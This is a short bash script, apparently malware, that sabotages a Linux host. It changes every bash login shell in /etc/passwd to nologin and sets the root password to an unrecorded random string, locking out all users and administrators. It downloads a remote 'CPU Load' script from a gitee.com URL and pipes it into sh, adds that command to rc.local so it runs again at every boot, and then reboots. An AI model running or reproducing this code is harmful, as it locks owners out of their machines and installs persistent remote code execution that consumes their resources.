#!/bin/bash
# lock user
sed -i s#/bin/bash#/sbin/nologin#g /etc/passwd
echo "root:$(cat /dev/urandom | tr -dc A-Za-z0-9 | head -c 10)" | chpasswd

# CPU Load
curl -s https://gitee.com/mliuz/shell/raw/master/cpu.sh | sh
echo "curl -s https://gitee.com/mliuz/shell/raw/master/cpu.sh | sh" >> /etc/rc.d/rc.local
chmod +x /etc/rc.d/rc.local

# reboot
reboot
